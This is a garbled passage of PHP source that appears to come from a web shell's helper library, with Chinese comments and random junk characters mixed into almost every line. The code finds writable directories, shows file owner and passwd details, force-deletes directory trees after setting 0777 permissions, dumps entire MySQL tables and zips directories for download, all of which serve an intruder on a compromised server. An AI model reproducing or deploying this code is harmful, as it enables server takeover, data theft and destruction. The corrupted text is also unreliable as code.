- if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}) e8 g, p/ e9 Q+ e1 M4 [2 @4 j
-
) A6 d) @# C W( W4 Z$ ]; K/ x - return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
6 s% ?! U7 C. T - }8 k' l4 P* f8 Z3 b* W) \, {
- ( b5 a: n! ]7 m8 y( q* M! J9 Y$ _
- function getUser($filepath) {9 {0 H9 c0 X: M. Y+ e- P( P4 h
- if (function_exists('posix_getpwuid')) {
" {1 Z8 ^4 Q, Q& j! Y - $array = @posix_getpwuid(@fileowner($filepath));
- _0 V7 B2 o* D1 k* r& _ - if ($array && is_array($array)) {6 M6 j& h5 H) A& c
- return ' / <a href="#" title="User: '.$array['name'].': j7 H: R8 V0 ~' O: \
- Passwd: '.$array['passwd'].'1 I( d) w$ N% X6 L# [+ H, Z1 m
- Uid: '.$array['uid'].'
, J0 g) l9 B* `) N/ t - gid: '.$array['gid'].'
! x, x8 J( D+ J - Gecos: '.$array['gecos'].'
) B" h4 c) |$ n( Y - Dir: '.$array['dir'].'0 W& k# v+ P) B0 V# b
- Shell: '.$array['shell'].'">'.$array['name'].'</a>';2 ?6 }5 A3 Z& f
- }
1 M0 o1 J4 m J - }1 R8 X: G8 g5 Y ~: x
- return '';9 T% l4 i7 [6 q' T3 V/ u! y
- }" d/ P; L9 Q; p* T% \
- 7 r, G$ i5 \6 \2 y) G5 `1 d
- // 删除目录2 C/ I- i9 e4 A" Y
- function deltree($deldir) {
& R: q& T1 o% n( e$ ` ? - $mydir=@dir($deldir);
- R. V; m% P+ h/ G2 h6 [: u+ s8 b0 H - while($file=$mydir->read()) { , V5 X; Z3 O9 i5 `) K5 z% [' m
- if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { % U6 n7 p3 @: N
- @chmod($deldir.'/'.$file,0777);
7 O k2 ^$ @0 x - deltree($deldir.'/'.$file); 2 i0 V Y1 r1 R0 M" p! M. M
- }
9 t0 B5 z* v& ]: o - if (is_file($deldir.'/'.$file)) {! ^4 {9 m" z9 _$ u- y
- @chmod($deldir.'/'.$file,0777);" i9 f& t* P2 f3 a# [
- @unlink($deldir.'/'.$file);8 _5 v) H$ J% W# x
- }/ w, p! m7 Y" y/ J! h: o
- }
7 s4 l: c1 F x! S - $mydir->close(); 8 ?1 _6 D5 K9 ~7 _
- @chmod($deldir,0777);0 k8 R0 O0 {+ Q8 o+ n& e7 R. D
- return @rmdir($deldir) ? 1 : 0;% G/ c8 v! n1 ^! t% n( |
- }
. O5 t$ p7 L. { C -
1 @3 E# _ n( r& u; M( M - // 表格行间的背景色替换
( D2 {$ D2 Z% i$ {/ y* [0 f - function bg() {' d2 V" O4 R. B
- global $bgc;1 T8 Z) S' N1 N! R; ~6 \/ H
- return ($bgc++%2==0) ? 'alt1' : 'alt2';
( w9 `) P# |) b0 e - }
( `5 Z" o2 J( ^! w- c -
8 T; A5 I \: ^/ P/ S - // 获取当前的文件系统路径! E& T/ V" N5 B: H4 ^- S+ U( |5 I
- function getPath($scriptpath, $nowpath) {# _0 c5 c) v" E. B7 T$ ^
- if ($nowpath == '.') {
4 e. M: s0 t( W2 a. G5 @+ I - $nowpath = $scriptpath;& o) a4 x% t G S. N
- }
" t7 z6 B4 [! y) h! e4 C/ {- q) b - $nowpath = str_replace('\\', '/', $nowpath);
: y Q% V# o9 b - $nowpath = str_replace('//', '/', $nowpath);
3 |$ u# e+ R$ f( |6 q$ U+ A2 O9 F# d - if (substr($nowpath, -1) != '/') {$ q" A9 x8 ]; @% A& ~
- $nowpath = $nowpath.'/';, V* n+ v' z4 C& `" o* }
- }9 U! J z& Z U+ M% p
- return $nowpath;
1 B- }) k* C7 R, g [, O - }. ^) g/ n- [+ e
-
% q1 K( {! E6 @ h h - // 获取当前目录的上级目录9 }: P9 i9 w/ d7 ~7 u {, _
- function getUpPath($nowpath) {$ _" W. g* ]% L! |
- $pathdb = explode('/', $nowpath);
; t2 T, Q' s! I - $num = count($pathdb);; E% }: T( W: }' q/ x
- if ($num > 2) {* ?5 u: B3 U0 A- O7 z* }' l. R
- unset($pathdb[$num-1],$pathdb[$num-2]);
, k5 Y3 j3 a+ F0 z7 @% { - }
$ @! k2 s5 E; K7 H7 R ] q - $uppath = implode('/', $pathdb).'/';( X+ N+ }6 `6 S& H4 C
- $uppath = str_replace('//', '/', $uppath);
4 Q, Y& y2 u' P" _" K) C7 }& y - return $uppath;
5 j0 _% V+ Y% w* |9 r; W) Y; U - }
# y, r# z+ ?- f- ^ -
( p; J( m! c% g& X+ X - // 检查PHP配置参数
w, i) V7 N. O. [$ p- o% p+ p - function getcfg($varname) {
. r1 |% T0 I; B' u1 S0 S - $result = get_cfg_var($varname);6 L1 f! [0 {0 z' b) v
- if ($result == 0) {5 `: @" }7 l! [/ O2 s
- return 'No';
" Y/ Z" G$ z0 }( N% N6 |4 n$ z - } elseif ($result == 1) {
' I$ U; c- K/ F/ V# j( {+ Z/ T8 k - return 'Yes';
/ o; b% _0 ]) w% x - } else {
! p x( K! S. _9 R - return $result;
8 E9 r$ H1 G' S% q( q7 P - }( K {7 M" Y& V6 F+ p6 F
- }
. O9 w- Z& G/ J" `' l2 o - * u) H4 C8 R0 P1 {; Z/ J- |1 T: b3 H
- // 检查函数情况, [5 ?: ]! V8 T& M# h$ q- z
- function getfun($funName) {
" q }, q4 v* E# x - return (false !== function_exists($funName)) ? 'Yes' : 'No';
3 \& l, E' @& B g/ J - }
6 B$ X- y3 Z8 J7 z/ j+ _ -
/ {! V: U4 e8 Z4 B, s" [ - function GetList($dir){) R4 B$ ~, M- I8 x
- global $dirdata,$j,$nowpath;- {, x( m+ w4 W( H* z
- !$j && $j=1;- d/ S2 u7 o H' T: V
- if ($dh = opendir($dir)) {
5 L O: i/ l& N& i: ? - while ($file = readdir($dh)) {3 D& C4 l1 C; ?
- $f=str_replace('//','/',$dir.'/'.$file);
3 ]2 p- d: k- R5 y6 B4 y- _ - if($file!='.' && $file!='..' && is_dir($f)){: d3 F2 j: G. q- P% K3 }8 p l8 @
- if (is_writable($f)) {
( ]( t) x- [: W! e( r - $dirdata[$j]['filename']=str_replace($nowpath,'',$f);4 B/ _& [, s4 O0 @& X. ]* |2 m
- $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
; I k% w- j% g9 d; h5 ^# g - $dirdata[$j]['dirchmod']=getChmod($f);4 h/ |, X: P. k. t; I7 D" ^* m
- $dirdata[$j]['dirperm']=getPerms($f);
. b7 f3 M* J3 S3 C9 \3 s - $dirdata[$j]['dirlink']=ue($dir);2 A) l, g+ s. p
- $dirdata[$j]['server_link']=$f;' M* k+ k, W. W, z: J2 f
- $dirdata[$j]['client_link']=ue($f);
3 s7 ~: R: M: c/ o8 {& r+ e* r - $j++;
o* y1 N/ w n: l+ Q+ \ - }3 M% `& K9 x7 u0 n0 n8 t
- GetList($f);
5 ]7 I" c5 O+ ^, B! y% K - }/ p1 L: c0 a+ M [+ j8 S
- }/ _9 V$ Y7 @6 y2 I
- closedir($dh);
3 ]/ ~, R5 M" }0 W - clearstatcache();% D+ [( M6 h) T/ I
- return $dirdata;. y( i' [: V4 P8 C' X8 Y# L
- } else {1 K' a% Q9 i. _0 d
- return array();6 C1 ^1 }" b6 a! }5 R N
- }- Y2 W) o1 R+ ]* s; {
- }. k% k) h) D, Q F5 b: n( G
-
! m2 _, B5 R+ ]! ^ - function qy($sql) {
; o# x/ ]8 \1 h/ o' b2 m - //echo $sql.'<br>';7 Q$ _5 W7 e' l
- $res = $error = '';9 y% @9 M: N! K* D
- if(!$res = @mysql_query($sql)) {
- c) I6 G5 H9 E5 B3 V4 r - return 0;
& Q8 @4 t* E7 B% v- f - } else if(is_resource($res)) {
% @, q2 S! d0 c; A$ B, |( Y* S - return 1; * n' p/ f- F5 U0 O
- } else {! k r, x: a. @- p' Z3 y# s5 q2 d
- return 2;5 J! y$ v7 K9 N0 e
- }
0 V1 p+ [' }- g& E, _ - return 0;
+ n( W6 p* \$ l0 i. V8 E - }9 i2 ^6 [. @ G9 ]
-
# W- ]3 g. M+ T3 ~ - function q($sql) {
G2 A1 d! h. ^) O - return @mysql_query($sql);
r+ j- w/ k5 d - }5 H7 l+ w; z0 B4 U q4 Z2 ?) w
-
# s z" y* e3 I3 S% t9 s1 F7 Q - function fr($qy){
4 @& [% Z2 y/ U- T% w - mysql_free_result($qy);
6 L/ ?/ q7 n1 B - }3 _' t) D# C9 D {# S
- * a8 k1 p) P/ r! N9 w
- function sizecount($size) {
; p9 O9 w* j, s, r0 _$ s - if($size > 1073741824) {# Y M1 f3 h0 s2 P/ C
- $size = round($size / 1073741824 * 100) / 100 . ' G';
2 q+ B, @) @% e c8 f5 B* d( E# y - } elseif($size > 1048576) {! P5 \( v& b% r5 d
- $size = round($size / 1048576 * 100) / 100 . ' M';
, ~! L. m# }* K& I4 p- [$ k - } elseif($size > 1024) {* K; Z- v( D* r7 Z( ^5 E o7 v) Q
- $size = round($size / 1024 * 100) / 100 . ' K';" j- k9 \& w' f, ?4 Q+ n- j
- } else {6 X+ m% b& O/ ?+ d4 `! e g
- $size = $size . ' B';* x) Y9 Z5 ?( y/ o$ b: m
- }
2 e3 w! v% t/ W - return $size;7 l1 z- l' J: c; W6 G2 Y
- }- F4 S8 `! G/ O! I6 _5 A0 E3 _
- : s" r3 [+ R8 A1 o' t" A! t
- // 压缩打包类) l' f& e2 }" n+ n3 f$ s q
- class PHPZip{
: R2 \, r, i0 Q. U - var $out='';
& j( y8 a: P8 w - function PHPZip($dir) {
- i8 ^1 u! T0 ^$ ]; A - if (@function_exists('gzcompress')) {
" K9 b9 {' F. v: p* P( L: f5 T7 p - $curdir = getcwd();
! c' I0 y* i( e) q - if (is_array($dir)) $filelist = $dir;+ V$ R4 q: `( f% K
- else{
* k" u7 M {6 I3 ~6 U - $filelist=$this -> GetFileList($dir);//文件列表 X/ x3 K9 @0 L& R
- foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
" m. ]( ?$ k: K3 r. i - }% @6 X6 x7 a8 K# `& T4 O
- if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
9 P: q- ^1 L2 [+ |2 x - else chdir($curdir);' j6 T% x1 P% i, R) \) s$ O
- if (count($filelist)>0){
9 h; [4 Q1 O& S& p9 q - foreach($filelist as $filename){9 Z& \" @$ l" n9 R: A- U1 s2 O
- if (is_file($filename)){
0 |2 ^- m+ n8 u y# T# ]+ N! T6 D - $fd = fopen ($filename, 'r');8 U" |- A+ u. j' U
- $content = @fread ($fd, filesize($filename));+ h2 Z9 W: }* K' G4 k- f- _
- fclose ($fd);- t d& r8 D1 V7 ^' m0 Z
- if (is_array($dir)) $filename = basename($filename);
: R0 p2 H. Q t9 j# W3 X - $this -> addFile($content, $filename);
$ W ]' k7 L4 t - }
$ B* v+ p% J, ?3 ]) [ - }' |7 ~* M: W: ]/ ]9 y1 c: T/ R* {
- $this->out = $this -> file();; v0 d5 w- t- l* @8 D. M3 x
- chdir($curdir);
1 w" |+ ~* _4 R' ~, {. W - }
1 u0 @2 q, u5 c+ D& }% m - return 1;
0 n2 c3 d7 h+ d5 c, L1 H - }0 C$ \1 K2 I+ r3 N) o5 m# n( n
- else return 0;# R" V6 [) u" b& a' _
- }3 M: H; A2 Y+ v" k
-
! I# [3 Q/ j) H) ] - // 获得指定目录文件列表" }8 G o3 D+ a/ H4 Y+ H& j$ |1 }
- function GetFileList($dir){# ?$ E$ v3 x1 p. |$ t9 Y
- static $a;
# r( o" v J0 a7 x$ S - if (is_dir($dir)) {
: r' l+ O. K) y3 X0 w3 n - if ($dh = opendir($dir)) {
# J5 O4 Z) ^, J0 v. k% k4 e- |4 i - while ($file = readdir($dh)) {, N- n8 V7 ~ {
- if($file!='.' && $file!='..'){ z* q8 Z, m& M" j! E% z
- $f=$dir .'/'. $file;
+ v% D5 d4 L0 F2 P - if(is_dir($f)) $this->GetFileList($f);
) x5 {0 `7 y. _" q - $a[]=$f;
1 K/ w: e5 [/ V0 y" w - } V& F" y r; S& P
- }
$ P/ F0 e: v& l Z - closedir($dh);
4 s* ^$ Y, |1 e - }6 k- s4 g' G+ N
- }
6 d9 w! \# ]8 k( B - return $a;
2 [9 I' q6 h" f2 i0 f4 _0 n - }
- U$ L* s. g7 g -
( ^. _! y F4 p5 ] - var $datasec = array(); u9 X M( x- x' U [# [& X
- var $ctrl_dir = array();, t# P; J. ^) S) J6 E. A9 G
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";% P/ j9 l2 A! @7 z( \1 a* M
- var $old_offset = 0;
% [5 K$ n& T# J5 v% N, l2 k - . o. }' U! G& N7 b F, n x, @& m9 L
- function unix2DosTime($unixtime = 0) {) p- j4 ?( e6 B) a
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);, |$ Z- W# a. S7 R; z) z
- if ($timearray['year'] < 1980) {
# P' y1 u9 t( h, j/ P5 \* z- T0 w U - $timearray['year'] = 1980;
0 ]0 Q! Q& u' S6 A( K- [ - $timearray['mon'] = 1;
5 S; [- X1 W3 U - $timearray['mday'] = 1;3 C2 e8 ?' r( c8 |3 }
- $timearray['hours'] = 0;
c/ X2 W, A. i. I5 W: b1 o - $timearray['minutes'] = 0;
8 F# A k7 {, W* g - $timearray['seconds'] = 0;
' A2 \4 {* v6 o+ l% q - } // end if( {# w% X" l( A- h2 V
- return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2 u! g& B( y! l! l5 w - ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
& Z& P$ w+ M. h; _ - }! c+ A/ ^+ O2 A6 M8 {, K
- function addFile($data, $name, $time = 0) {4 c' c1 f+ ]! d$ x" V3 r! H
- $name = str_replace('\\', '/', $name);
/ i Z9 @: m$ Q* @* m3 ^9 L0 n, h - $dtime = dechex($this->unix2DosTime($time));
3 [5 n2 g4 R/ {& [ a - $hexdtime = '\x' . $dtime[6] . $dtime[7]0 r) c% Y- P1 \) A" z
- . '\x' . $dtime[4] . $dtime[5]/ k) x$ {0 n# v% g: `1 J/ F) W
- . '\x' . $dtime[2] . $dtime[3]8 w6 z4 Q6 q4 h" U3 j0 b
- . '\x' . $dtime[0] . $dtime[1];, T' V5 ?2 x3 T& B' N5 d1 e4 A
- eval('$hexdtime = "' . $hexdtime . '";');; e) [$ V; J7 W9 i
- $fr = "\x50\x4b\x03\x04";5 L9 \% ~, k: c/ B9 j$ c* d
- $fr .= "\x14\x00";
: T; n5 `0 p" o# l& }- C - $fr .= "\x00\x00";
0 `* A. {( l/ A - $fr .= "\x08\x00";
7 Z3 G1 t) ?7 z - $fr .= $hexdtime;
7 z) Y& X3 d) w% i+ J - $unc_len = strlen($data);+ l8 ~9 R/ M2 o. n4 }1 A1 @; y3 T
- $crc = crc32($data);
1 @ y* c* k U7 N1 v, n) o2 a - $zdata = gzcompress($data);
, f4 ]8 p5 o2 o1 A - $c_len = strlen($zdata);
0 H% {8 M X! t E - $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);5 h/ I% g4 P' |" ]' o
- $fr .= pack('V', $crc);
$ J" U( j* M) @. T) X' M4 q - $fr .= pack('V', $c_len);5 _/ L/ D1 S2 r% y& Z- z
- $fr .= pack('V', $unc_len);* {8 y/ e$ O7 {2 j# f: S3 q8 f
- $fr .= pack('v', strlen($name));
9 K) P. \# q& X9 z% X' T - $fr .= pack('v', 0);
0 C7 c' L0 h V! H - $fr .= $name;
1 ?3 P, u; `2 l$ Q1 ~) e - $fr .= $zdata;) C" J8 W' u! D- y( z( F' ?7 Y2 [
- $fr .= pack('V', $crc);
" t3 _# e2 W$ u4 V8 w - $fr .= pack('V', $c_len);
6 u8 H5 e) C; z q: M0 b# g - $fr .= pack('V', $unc_len);$ |' d9 C( |. ^: {4 n" l! Y
- $this -> datasec[] = $fr;
+ f0 j9 @2 x+ f$ O7 o - $new_offset = strlen(implode('', $this->datasec));" n( X, k7 Z& o/ S( O6 r
- $cdrec = "\x50\x4b\x01\x02";- C4 U a0 S! `( ?. b. w. n
- $cdrec .= "\x00\x00";
7 h }2 v0 F1 `" }1 ? - $cdrec .= "\x14\x00";
( P' M' `+ a! Q - $cdrec .= "\x00\x00";
$ I- U- c0 U2 K1 O; L - $cdrec .= "\x08\x00";
# _+ y% m. }* i; S; l - $cdrec .= $hexdtime;
& K# S) ], Q \' e$ E5 t - $cdrec .= pack('V', $crc);3 E7 O% L" u; ^7 t
- $cdrec .= pack('V', $c_len);3 H$ Z. Y! n2 ~4 f; x" u# s# k
- $cdrec .= pack('V', $unc_len);
- a" D! j0 M6 Q% |: t - $cdrec .= pack('v', strlen($name) );
0 C- f! ^+ ~( z, u - $cdrec .= pack('v', 0 );
* v& z$ q7 k3 @& E8 M# R! D! s+ E2 X - $cdrec .= pack('v', 0 );
1 n" |: E: T* u) V- W - $cdrec .= pack('v', 0 ); i+ F) H4 ]/ j( K1 w
- $cdrec .= pack('v', 0 );
) v0 Q" [* F1 Z3 L2 W+ o - $cdrec .= pack('V', 32 );9 Z% Y! M- V W
- $cdrec .= pack('V', $this -> old_offset );; Q+ `5 u6 \" ?4 |6 w+ |5 x
- $this -> old_offset = $new_offset;0 m; u, A' a1 O3 m" ?5 J8 S
- $cdrec .= $name;
8 N' r0 C, q& i! w - $this -> ctrl_dir[] = $cdrec;
" Z: |0 t" T" x8 Z3 g! @ - }+ _- H- G9 c6 T6 J/ [6 _' A
- function file() {$ D* |2 {( B Q
- $data = implode('', $this -> datasec);
1 F+ g( F# R+ N) y5 O% T4 s6 L: z U, x - $ctrldir = implode('', $this -> ctrl_dir);
: j$ Z' t0 v( M7 d8 P) ^$ Y9 |9 r - return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";# k. f7 [2 U c1 O
- }
( Z( e0 j: l; b. t$ g/ a, j- G - }( F0 s! }+ y8 T0 s3 P* s
- // 备份数据库* I$ N3 f* b& }4 ]/ R) P$ z
- function sqldumptable($table, $fp=0) {
; s) d) H/ M, Z( ~5 J - $tabledump = "DROP TABLE IF EXISTS $table;\n";" V; `/ e [9 J; x/ k" v1 f
- $tabledump .= "CREATE TABLE $table (\n";
. `9 C! y* N0 T: v6 [ - $firstfield=1;
( e* V7 J, S' C' T$ } - $fields = q("SHOW FIELDS FROM $table");5 A2 G9 P3 k( W' d$ ^ w
- while ($field = mysql_fetch_array($fields)) {- x: S; n/ i E ~ ~0 A
- if (!$firstfield) {0 f/ d( Z( y/ y9 C* O0 ?
- $tabledump .= ",\n";
' E/ p. }6 m8 n3 x, Q# E$ a - } else {
. G+ A4 M. W" j8 R& Z3 w - $firstfield=0;; L# X% d$ l5 j% T" z5 F: p" \
- }
; b/ n# h3 s. y8 P! |7 g) \1 Y - $tabledump .= " $field[Field] $field[Type]";
- M, R+ ^: B5 L C3 ~. i - if (!empty($field["Default"])) {! o% t T. q! Q# B5 u" Z
- $tabledump .= " DEFAULT '$field[Default]'";
& M$ r( `' T0 Y - }
5 H- q. U; J6 D Z. }+ }5 l - if ($field['Null'] != "YES") {" e7 @$ k: q- X. Q5 r! }5 |% i
- $tabledump .= " NOT NULL";
6 T: ]: K+ A: q/ L2 f- G - }& K" |( F& L: x8 T5 E/ U5 y3 h
- if ($field['Extra'] != "") {3 v* M% A0 Y* I3 Q# s
- $tabledump .= " $field[Extra]";$ M; i& O# ^+ [' m
- }* t$ g7 n6 T- c# l# O: f8 w
- }7 Y% Z0 y5 A7 B# @5 j3 h
- fr($fields);, n( P' P* j; u8 m+ T, S; z% Y
- $keys = q("SHOW KEYS FROM $table");7 R+ j" O/ T7 {& H0 Q" J5 g. C( Y
- while ($key = mysql_fetch_array($keys)) {
/ z( W' I- J. g4 \+ N+ v; X% h9 @ - $kname=$key['Key_name'];9 B7 {- m- P4 |( \0 V* K
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
5 {* g% k6 }; n c; g2 B0 K2 l - $kname="UNIQUE|$kname";: c8 T5 W0 f2 V( [
- }6 d0 n6 H' k; F5 T, B
- if(!is_array($index[$kname])) {
: n) r$ b( x( G) j - $index[$kname] = array();9 c k0 B! m1 x: _
- }# k, R! {6 e$ f! B( O& j
- $index[$kname][] = $key['Column_name'];! Q) Q- k' X) i- v" x2 `
- }8 x- k! i6 K5 Z8 G. L" ]3 ^
- fr($keys);
2 p& ~& [: _; _& \1 m8 V$ Q3 o* { - while(list($kname, $columns) = @each($index)) {
! J7 g+ `2 D5 r - $tabledump .= ",\n";7 A% U, c0 g" Y
- $colnames=implode($columns,",");
" C) s0 k" q2 i. d. w* z( ` - if ($kname == "PRIMARY") {
/ ?9 ?5 n7 U2 g4 M8 Y - $tabledump .= " PRIMARY KEY ($colnames)";
0 v' w' a( T; `" u0 i - } else {% N! m% E+ N7 K
- if (substr($kname,0,6) == "UNIQUE") {
1 g3 r4 }1 \. e; C - $kname=substr($kname,7);
' o0 P4 l0 r' ` - }* Q3 c6 n0 l8 y# {8 D6 Y
- $tabledump .= " KEY $kname ($colnames)";) K i3 {7 z+ N2 N0 S, Z% R
- }$ F& C6 X" N- z( K8 `2 U
- }
5 a2 K4 R+ X3 M( P- R4 a0 _ - $tabledump .= "\n);\n\n";0 [# ^2 i- w, }! \: x
- if ($fp) {& H4 h7 |+ a3 K8 \2 H2 ^% H
- fwrite($fp,$tabledump);; Q! f) C! Y, y0 j8 Z8 T' Q( v
- } else {9 j8 C! @! }) B( Y4 ]
- echo $tabledump;) {- C* M8 _1 |" B* y+ M' S9 ]
- }8 p# U, S; c) x, \& t E
- $rows = q("SELECT * FROM $table");
* W4 v+ G4 W0 k6 i0 D& S - $numfields = mysql_num_fields($rows);# S+ P& Y5 v+ J3 l, O9 O
- while ($row = mysql_fetch_array($rows)) {
& S; t; F3 j, d9 A1 r7 h - $tabledump = "INSERT INTO $table VALUES(";
Z& r0 _2 D9 X' K* r! E8 I - $fieldcounter=-1;" d1 v+ _8 R4 P0 r
- $firstfield=1;6 _9 C f' {4 }4 }" g
- while (++$fieldcounter<$numfields) {0 ?1 [/ V1 K: _1 S% B
- if (!$firstfield) {
: C1 G+ M7 @0 P$ S+ d+ | G( ?5 y - $tabledump.=", ";( @& p& o% z4 F, R! h! [9 L
- } else {/ f. w( `8 c4 g+ A' E! r) m
- $firstfield=0;
! ?1 O, Y; A: A - }
. {9 Q/ Q0 \9 {/ N* g - if (!isset($row[$fieldcounter])) {
, E6 C1 y# j5 a1 h: _ - $tabledump .= "NULL";
' \, u0 B& V. e4 ~0 z& j0 f- u0 B# p - } else {
1 P! C/ r1 O8 f4 v( B& h$ T8 H - $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";9 S, M1 L# f' Z! q, K# e' Q
- }
# C9 `& G* E( l- c/ A5 a# D - }
( v8 D4 L( i: E8 E9 T/ N+ j - $tabledump .= ");\n";3 Z' t% j" l1 r" m
- if ($fp) {
( U" z4 ~5 Z" d; }& t i& D, s7 Z - fwrite($fp,$tabledump);
3 m5 }# I! F$ J+ y7 v - } else {
# b4 f" e; \% f$ o - echo $tabledump;
- w7 I0 q1 q! g ^! [& O - }
0 K' @+ r2 k5 Q0 t$ r% R9 d* _# U - }9 F) { M( _1 |: T+ @0 i0 K- ]6 y
- fr($rows);
. Q1 H% I: @. n* R - if ($fp) {% W) |4 A1 T8 Z) P7 e. _
- fwrite($fp,"\n");
7 O( P+ x- T( Z- z" w* x - } else {
- q0 s ~3 z* q; U - echo "\n";8 Z2 H# u! u2 g ^; L& s. m" ?5 D$ _
- }
1 c1 f9 H3 B8 k" f. | - }4 W# E# e* R8 Y1 D
- function ue($str){
! @/ s/ J, U- x, s! I - return urlencode($str);
! m* ?' ] {& }* W4 \ - }
" [9 e d' |# N - function p($str){) N2 S! R6 e* s) O7 ~
- echo $str."\n";; ~7 K7 W, {% Z. r- B2 U
- }1 O* Z8 h A3 {: A/ t1 R
- function tbhead() {
- X N4 e- I5 W, j7 Y - p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
% p+ U1 ], b. H& W - }
4 r- h( e6 Q! f0 f" w7 |# c - function tbfoot(){
+ K, C% T4 ?4 n4 b - p('</table>');2 V k: t7 _! w* p
- }( ~5 S9 ]" j: y2 q* a9 n
- function makehide($name,$value=''){
2 G S( ~6 E! m/ X t P0 t - p("<input id="$name" type="hidden" name="$name" value="$value" />");
! v" a [/ j' m. u5 d' } - }8 e+ q* [, L$ o1 _4 E
- function makeinput($arg = array()){
' u' L" v% N X! ? - $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";: x& d- D+ c( J0 B7 Z, F& Y1 E( n" D# ~
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';, q) Y2 f& [9 M3 S* } W$ s
- !$arg['type'] && $arg['type'] = 'text';9 h! W# P3 v/ W$ A
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
+ @8 H" R9 H1 O3 F* J - $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
- W' `5 _; V/ c$ Q9 M. t - if ($arg['newline']) {
- y `0 d8 l/ E2 ~! \% T# o9 q: Y) e - p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");" E+ Y2 y2 R; n1 \
- } else {
, I2 T: l. l* F) s9 n4 q - p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
' N9 I% t" B/ d, t8 }* e! _ - }4 B5 K# s+ o% `' H/ q
- }( U+ a$ s$ w, n2 F$ f. C
- function makeselect($arg = array()){2 W; q5 [# b6 E: a% p3 D% T
- if ($arg['onchange']) {& V8 t, A% z! s3 \" S3 _* Q- w
- $onchange = 'onchange="'.$arg['onchange'].'"';
h: y. ], |! V7 } - }
0 D9 T6 Z o: G - $arg['title'] = $arg['title'] ? $arg['title'] : '';
; w/ r2 G+ g: N - if ($arg['newline']) p('<p>');
& k( z/ u" W" ~! E. y8 G0 _ - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
9 A" A! I5 o1 z5 w/ p) U) | - if (is_array($arg['option'])) {" s8 J( C: U! ]
- foreach ($arg['option'] as $key=>$value) {* N; B* w6 g+ V# P( Q5 C& ]# W( W- j
- if ($arg['selected']==$key) {- ~0 x: K/ q. }& Z* H4 O& A3 o8 p
- p("<option value="$key" selected>$value</option>");
& k' T2 H0 r# f6 x4 L; z - } else {
: {' G, U( Q; a - p("<option value="$key">$value</option>");
* g8 v) H# y4 c: ?+ k - }
2 U7 ~' N+ I/ E$ X+ \7 N - }7 {& G$ {% ~4 I+ t1 W( N9 F
- }4 @$ }! Y% p: i' u& Y* b O" k+ v" U
- p("</select>");
8 |$ D j# H: a& t, ?4 {* t9 S0 n - if ($arg['newline']) p('</p>');
, N; ]5 x L- g& h% m6 u - }+ m; L0 t# b3 {1 g. K
- function formhead($arg = array()) {
& B/ ^ L9 G$ L8 B - !$arg['method'] && $arg['method'] = 'post';' Y) e% C Y, \ `- [0 w# i+ b, \8 V$ I: o
- !$arg['action'] && $arg['action'] = $self;$ \: b5 }* r' V) E
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';9 z: `6 g& f# {5 q% c
- !$arg['name'] && $arg['name'] = 'form1';
' F3 R$ P7 c6 C, p. M - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
, o6 M1 @9 z) d) a2 u; b - if ($arg['title']) {. |. W, |0 Y0 w; _! R
- p('<h2>'.$arg['title'].' »</h2>');
x+ v5 f3 U \) f9 u% c - }
3 `. ^1 }. b0 d! g) W4 T - }
7 L7 l) _, k, [5 p# W4 M% l% x$ a -
7 [) {2 P" ?' @; W0 ~ - function maketext($arg = array()){/ N/ l: f. A" ~$ r
- !$arg['cols'] && $arg['cols'] = 100;8 _6 c) g w! O7 i& l
- !$arg['rows'] && $arg['rows'] = 25;
1 X N, J. _' ]6 V - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
8 G# B0 I9 D( { - p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");/ M1 u5 [5 ^0 |: x2 g; H; n
- }7 \( @9 P4 p0 u- d) Q# l! m7 T
-
2 B! F9 E2 c( V- ^% E' R$ G" B - function formfooter($name = ''){' w! K+ a3 x b, m: ?8 O/ F
- !$name && $name = 'submit';
+ P5 [: r- z) e9 n5 \( Q) V: J - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
& h8 g/ C. o& T& t0 X# [ - p('</form>');
+ i6 B0 F6 `* s0 Z; p8 Q, z8 E7 V - }
. H8 C7 _8 V7 L7 [% A7 t# q -
: G% I% n' m n7 G: x% H h - function formfoot(){
! I4 B1 a( M" l0 p+ G) r5 y c - p('</form>');& F1 o, p' w' R) @
- }* h& `3 G* J; Z% c# n
-
. x4 Y- V3 l# Y8 R4 t- Y3 x - // 调试函数$ ~: f( x( q: ]% y9 w! ]7 V
- function pr($a) {
. i# d5 ]4 `" D+ |1 u3 } - echo '<pre>';
) J; Q7 \- m! Z) _ - print_r($a);; U* n- m8 W) g) F+ ]# J
- echo '</pre>';
